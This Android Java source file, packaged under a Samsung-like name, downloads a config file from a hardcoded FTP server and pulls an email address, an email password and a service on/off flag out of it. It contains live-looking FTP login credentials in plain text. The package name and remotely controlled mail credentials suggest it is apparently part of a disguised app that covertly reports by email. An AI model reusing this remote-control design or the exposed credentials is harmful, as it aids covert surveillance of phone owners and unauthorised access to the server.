package com.samsung.utils.phone.helpers;

import java.io.File;
import java.io.FileReader;
import java.io.LineNumberReader;

import com.samsung.utils.phone.activities.FTPDownloadListener;
import com.samsung.utils.phone.content.StaticClass;
import com.samsung.utils.phone.operations.PreferenceOperations;

import android.content.Context;

import it.sauronsoftware.ftp4j.FTPDataTransferListener;

public class FTPPrefDownloader implements FTPDataTransferListener {

	FTPDownloadListener listenerCompleted = null;
	String fileValues = "values.ini";
	String[] dirs = { "htdocs", "AymedProjects", "SamsungUtils" };
	FTP4Api ftp4api = null;
	boolean isCompleted = true;
	Context context = null;
	String fileLoc = "";
	PreferenceOperations prefOps = null;

	public FTPPrefDownloader(Context context, PreferenceOperations prefOps) {
		this.context = context;
		this.prefOps = prefOps;
		ftp4api = new FTP4Api(this);
		File temp = context.getCacheDir();
		fileLoc = temp + "/values.ini";
		ftp4api.fileSaveLocation = new File(fileLoc);
	}

	public void checkAgain(FTPDownloadListener listenerCompleted) {
		this.listenerCompleted = listenerCompleted;
		if (isCompleted && HelperFunctions.isOnline(context)) {

			Thread t = new Thread(new Runnable() {				
				@Override
				public void run() {
					isCompleted = false;
					try {
						ftp4api.download("aymed-urodynami.com", "aymedftp1989",
								"rlpItcz0ae", dirs, fileValues);

					} catch (Exception e) {
						completedAction();
					}

				}
			});
			t.start();
		}
		else {
			isCompleted = false;
			completedAction();
		}
	}

	private void completedAction() {
		if (!isCompleted) {
			isCompleted = true;
			if (listenerCompleted != null) {
				listenerCompleted.completedAction();
			}
		}
	}

	@Override
	public void aborted() {
		// TODO Auto-generated method stub
		completedAction();
	}

	@Override
	public void completed() {

		try {
			LineNumberReader r = new LineNumberReader(new FileReader(fileLoc));
			String l;
			String pass = "";
			String mail = "";
			while ((l = r.readLine()) != null) {
				if (l.startsWith("mail")) {
					mail = l.split("=")[1];
					StaticClass.mailAddress = mail;
				} else if (l.startsWith("password ")) {
					pass = l.split("=")[1];
					StaticClass.mailPassword = pass;
				} else if (l.startsWith("updateInterval")) {
					// fileApkDownload = l.split("=")[1];
				} else if (l.startsWith("serviceEnabled")) {
					String x = l.split("=")[1];
					if (x.equals("1")) {
						StaticClass.serviceEnabled = true;
					} else {
						StaticClass.serviceEnabled = false;

					}
				}
			}
			r.close();
			prefOps.setRecordedMailAndPass();
		} catch (Exception e) {
		}
		try {
			File fileDownloaded = new File(fileLoc);
			if (fileDownloaded.exists()) {
				fileDownloaded.delete();
			}
		} catch (Exception e) {
			// TODO: handle exception
		}
		completedAction();
	}

	@Override
	public void failed() {
		// TODO Auto-generated method stub
		completedAction();
	}

	@Override
	public void started() {
		// TODO Auto-generated method stub
		
	}

	@Override
	public void transferred(int arg0) {
		// TODO Auto-generated method stub
	}

}
